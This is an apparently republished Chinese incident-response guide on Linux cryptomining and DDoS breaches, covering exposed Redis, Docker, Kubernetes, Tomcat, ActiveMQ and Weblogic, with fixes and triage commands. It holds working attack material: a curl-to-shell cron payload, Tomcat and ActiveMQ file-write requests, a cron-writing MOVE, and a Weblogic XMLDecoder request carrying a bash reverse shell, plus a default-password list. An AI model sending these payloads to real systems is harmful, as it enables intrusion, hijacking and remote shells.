哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...
前言
從去年六月份到現(xiàn)在做的應急響應、事件分析大大小小的做了數(shù)百個，主要遇到的有挖礦、DDoS、短信接口盜刷、用戶接口泄漏、越權信息獲取、掛黑頁、刪數(shù)據(jù)等。本文只針對自己做的應急響應中的挖礦和DDoS兩類做一下總結及自己的處置方法，幫助運維等相關人員在遇到之后能夠快速響應、處置。文章有不足之處歡迎大家指出、補充。
0x01 應急事件處理流程是什么？
服務器安全排查
- webshell 查找
- 木馬病毒查找和清理
- 惡意進程、網(wǎng)絡連接和自啟任務等清理
問題事件分析
- 溯源事件緣由、黑客攻擊途徑
應用系統(tǒng)安全漏洞排查
- 應用安全漏洞排查
0x02 攻擊者進行挖礦、DDoS利用的漏洞有哪些？
1、未授權訪問
未授權訪問在我所處置的應急響應事件中所占的比重最大，主要分為以下幾種：
redis未授權訪問主要被用來進行挖礦，一般手段是通過redis寫入計劃任務，基本上都是形如：/bin/sh -c /usr/bin/curl -sL https://lnk0.com/VhscA1|sh，直接進行挖礦、ddos等。
排查方法：
修復方法：
- 綁定本地訪問：bind 127.0.0.1
- 添加認證：requirepass http://www.secpulse.com
- redis-cli -h host -p port
memcache未授權訪問主要被用來進行DDoS，在今年三月份爆發(fā)，攻擊者利用memcached協(xié)議，發(fā)送大量帶有被害者IP地址的UDP數(shù)據(jù)包給放大?主機，然后放大?主機對偽造的IP地址源做出大量回應，形成分布式拒絕服務攻擊，從而形成DRDoS反射。
排查方法：
修復方法：
- 設置memchached只允許本地訪問
- 禁止外網(wǎng)訪問Memcached 11211端口
- 編譯時加上–enable-sasl，啟用SASL認證
- nc host port
docker未授權訪問主要被用來進行挖礦，通過掛載宿主機的/etc/、/var/spool/cron/等目錄，之后將相關挖礦的腳本、命令等寫入到/etc/crontab，/var/spool/cron/crontabs/root中。
排查方法：
修復方法：
- 在不必需的情況下，不要啟用docker的remote api服務
- 在 docker api 服務器前面加一個代理，例如 nginx，設置 401 認證
- curl http://IP:2375/containers/json
k8s未授權訪問主要被用來挖礦，API Server 默認會開啟兩個端口：8080和 6443。其中 8080 端口無需認證，6443 端口需要認證，且有 TLS 保護，直接訪問8080端口會返回可用的API列表。訪問dashboard 頁面，可以創(chuàng)建、修改、刪除容器，查看日志等。攻擊者利用的流程大體為：創(chuàng)建新的容器 -> 掛載宿主機目錄 -> 寫 /etc/crontab定時任務進行挖礦。
排查方法：
修復方法：
- 配置安全組、防火墻等，禁止敏感端口對外開放
- 為管理端添加認證
- curl http://IP:8080/
2、Tomcat
Tomcat目前常被利用的有：
- Tomcat PUT任意文件寫入漏洞（CVE-2017-12615）
排查方法：
直接發(fā)送以下數(shù)據(jù)包即可在Web根目錄寫入shell
PUT /test.jsp/ HTTP/1.1
Host: ip:port
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test
- Tomcat弱口令部署war包getshell
排查方法：
查看tomcat管理控制臺是否存在如下弱口令：
用戶名
密碼
tomcat
tomcat
admin
j5Brn9
admin
admin
admin
tomcat
role
changethis
role1
role1
root
root
root
changethis
role1
tomcat
both
tomcat
tomcat
changethis
修復方法：
- 嚴禁弱口令，使用數(shù)字+字母+特殊字符的十位以上強密碼
- 及時升級Tomcat補丁
- 安全組、防火墻等設置訪問白名單
3、ActiveMQ
ActiveMQ目前常被利用的有：
- ActiveMQ反序列化命令執(zhí)行（CVE-2015-5254）
默認開啟61616和8161兩個端口。其中61616是工作端口，消息在這個端口進行傳遞；8161是Web管理頁面端口。攻擊者利用的流程為：構造可執(zhí)行命令的序列化對象 -> 作為一個消息，發(fā)送給目標61616端口 ->訪問web管理頁面，讀取消息，觸發(fā)漏洞
排查方法：
下載jmet的jar文件
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/activemq" -Yp ROME IP 61616
- 訪問：http://ip:8161/admin/browse.jsp?JMSDestination=event看到這個隊列中所有消息
點擊查看這條消息即可觸發(fā)命令執(zhí)行
- ActiveMQ fileserver任意文件寫入漏洞（CVE-2016-3088）
ActiveMQ的web控制臺8161端口分三個應用，admin、api和fileserver，其中admin是管理員頁面，api是接口，fileserver是儲存文件的接口；admin和api需要登錄后才能使用，fileserver無需登錄。目前見到的是直接寫入cron挖礦，簡單粗暴！
排查方法：
PUT /fileserver/test.txt HTTP/1.1
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 4
test
- 寫入到計劃任務
MOVE /fileserver/text.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
修復方法：
- 嚴禁弱口令，使用數(shù)字+字母+特殊字符的十位以上強密碼
- 及時升級ActiveMQ補丁
- 安全組、防火墻等設置訪問白名單
4、爆破
主要是Windows3389、Linux ssh爆破，爆破成功之后直接執(zhí)行命令進行挖礦、DDoS。
排查方法：
網(wǎng)上搜索自己的密碼是否被公開活在黑客字典中
修復方法：
- 嚴禁弱口令，使用數(shù)字+字母+特殊字符的十位以上強密碼
- 安全組、防火墻等設置白名單訪問
5、Struts2
利用Struts2反序列化命令執(zhí)行，直接執(zhí)行相關命令。
排查方法：
搜索網(wǎng)上一鍵掃描struts2漏洞的工具進行檢測
修復方法：
- 及時升級Struts2相關補丁
6、Java RMI命令執(zhí)行
RMI服務的默認開放1099端口，且暴露在公網(wǎng)中，并且恰好使用了Apache Commons Collections的缺陷版本，可被直接利用來進行任意命令執(zhí)行。
排查方法：
使用nmap進行端口掃描
修復方法：
- 升級相應缺陷版本
- 安全組、防火墻等設置拒絕RMI端口訪問
7、Weblogic
目前見到的主要被利用的是Weblogic wls-wsat XMLDecoder反序列化漏洞（CVE-2017-10271）。
Weblogic的WLS Security組件對外提供webservice服務，其中使用了XMLDecoder來解析用戶傳入的XML數(shù)據(jù)，在解析的過程中出現(xiàn)反序列化漏洞，導致可執(zhí)行任意命令。
排查方法：
發(fā)送如下數(shù)據(jù)包，注意其中反彈shell的語句，需要進行編碼，否則解析XML的時候將出現(xiàn)格式錯誤：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.2.11/8080 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
修復方法：
- 升級weblogic相關補丁到最新版本
- 安全組、防火墻等設置相關敏感端口白名單訪問
0x03 應急響應快速排查步驟
以Linux為例，以下相關步驟只針對挖礦、DDoS相關安全事件的排查，以便快速、高效解決問題。其他安全事件按照通用事件排查步驟即可。
檢查進程及文件
top -c ： 快速查看進程信息，并獲取進程文件位置
kill -9 PID ： 殺死進程
根據(jù)惡意進程、文件特征如：文件名、文件大小、文件創(chuàng)建時間進行全盤搜索
grep -rni "shell.name" * ： 根據(jù)文件名特征查找
find / -size 1223123c ： 根據(jù)文件大小特征查找
find / -mtime 1 -name * ： 根據(jù)文件創(chuàng)建時間查找
lsof -p PID：查看進程占用信息
cd /proc/PID ： 進入到進程中
cat * |strings -n 5 |more ： 讀取該進程內存中的信息
檢測網(wǎng)絡
lsof -i:5000 ： 查看5000端口的占用情況
netstat -nap ： 查看不正常端口
netstat -an | grep tcp | awk '{print $5}' ： 查看TCP連接
netstat -an | grep SYN | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr | more ： 查看SYN連接
檢查計劃任務
crontab -u root -l ： 查看root用戶的計劃任務
cat /etc/crontab ： 查看/etc/crontab
ls -al /etc/cron.* ： 查看cron文件是否變化的詳細信息
ll /var/spool/cron/ ： 查看/var/spool/cron/
檢查系統(tǒng)命令
ls -alt /bin/ | head -n 10ls -alt /usr/sbin/ | head -n 10ls -alt /usr/bin/ | head -n 10
Webshell
1、河馬
2、自寫腳本（推薦，因為可根據(jù)情況，自己加特征等）
使用殺毒軟件
ClamAV
掃描：clamscan -r /usr —max-dir-recursion=5 -l /tmp/clamav.log移除：clamscan -r —remove /usr/bin/
rkhunter
rkhunter --propupdrkhunter --check
注意事項
1、一定要查看系統(tǒng)命令是否被替換，否則所做的都是一切徒勞。。。
2、若系統(tǒng)替換可用其他代替，如：ps使用top，netstat使用ss等
3、lsof -n |grep delete 查找已經(jīng)刪除但是還在使用的文件
4、留意下是否有SSH后門
5、注意是否存在隱藏進程
6、實在無法刪除可使用chattr +i鎖定相應計劃任務文件
7、實在不行修改把curl ，wget ,lynx 文件全局重命名
附：記一次事件分析詳細排查步驟
1、事件緣由
客戶反饋服務器D盤里面的文件被刪除了，要求排查什么原因導致的，什么漏洞引發(fā)的。
2、事件分析
前期準備工作：端口掃描、黑盒漏掃、弱口令、是否存在命令執(zhí)行相關漏洞等，未果，進入服務器排查。
D盾全盤webshell查殺發(fā)現(xiàn)惡意文件（中間的一些用戶，組，進程，日志排查步驟等我就不說了）
webshell名為enshell.aspx
根據(jù)該webshell文件名查找日志
定位記錄該惡意文件的日志信息，找到攻擊者IP
攻擊者IP：110.87.13.61
威脅情報來一波
根據(jù)IP定位黑客攻擊點
定位記錄詳情
定位漏洞源頭
至此，事件分析結束。
3、事件結論
由此可知：黑客先利用/xxx/upload2Server/接口上傳了惡意文件，再利用/xxx/checkfileexists/判斷文件是否上傳成功，最后利用，/xxx/executecmd/執(zhí)行了該惡意文件。
總結
以上是生活随笔為你收集整理的哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： zenmap nmap输出无显示_液晶显
- 下一篇： python操作mysql_使用Pyth